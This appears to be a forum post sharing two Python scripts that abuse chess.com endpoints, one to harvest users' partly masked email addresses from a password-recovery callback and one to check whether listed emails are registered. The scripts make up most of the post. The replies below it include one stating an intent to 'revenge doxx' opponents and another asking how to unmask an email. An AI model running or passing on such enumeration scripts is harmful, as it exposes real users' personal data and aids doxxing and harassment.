I just noticed that you can very easily ask chess.com for the (censored) email of a user. There's no captchas or anything so I couldn't resist writing a little script for it.
I wrote python scripts for doing this for a list of users, as well as one to check if emails from a list are registered on the site.
Not the most useful thing I've ever made but could very well be of use if you're trying to find someones email and know they're registered on there.

Script for checking a list of usernames for registration status and email:

import requests 
import json

usernames = 'usernames.txt'

def user_info(username):
    url = "https://www.chess.com/callback/recover-password-data/" + username
    response = requests.get(url).text
    try:
        json.loads(response)
    except Exception as e:
        response = None
    return (username, response)

with open(usernames) as f:
    for line in f:
        print(user_info(line.strip()))

Script for checking a list of emails if they are registered:

import requests 
import json

emails = 'emails.txt'

def check_email_existence(email):
    url = "https://www.chess.com/callback/email/exist?email=" + email
    response = requests.get(url).status_code
    return (email, response)


with open(emails) as f:
    for line in f:
        print(check_email_existence(line.strip()))

Examples for how the output is formatted:
Existing users:

('username', '{"hasEmailPassword":true,"hasSocialLogin":false,"email":"q***9@g***l.com"}')

Non-existing users:

('test87235987235', '{"message":"Resource not found","code":0}')

Invalid users:

('_', None)

Existing mails:

('[email protected]', 200)

Non-existing mails:

('[email protected]', 404)

Invalid mails:

('fgsfds', 400)

The scripts I made print the results on the terminal in this format.

boutta go revenge doxx people that shit one me in 800 rated chess.com matches, thank you so much <3

wow funny!

is it possible to uncensor the email? for example i have '{"hasEmailPassword":true,"hasSocialLogin":false,"email":"e***d@y***o.com"}')

Finally I found it! Thanks!

Cool! Thanks for sharing :)

Wow....!! wish we had more posts like these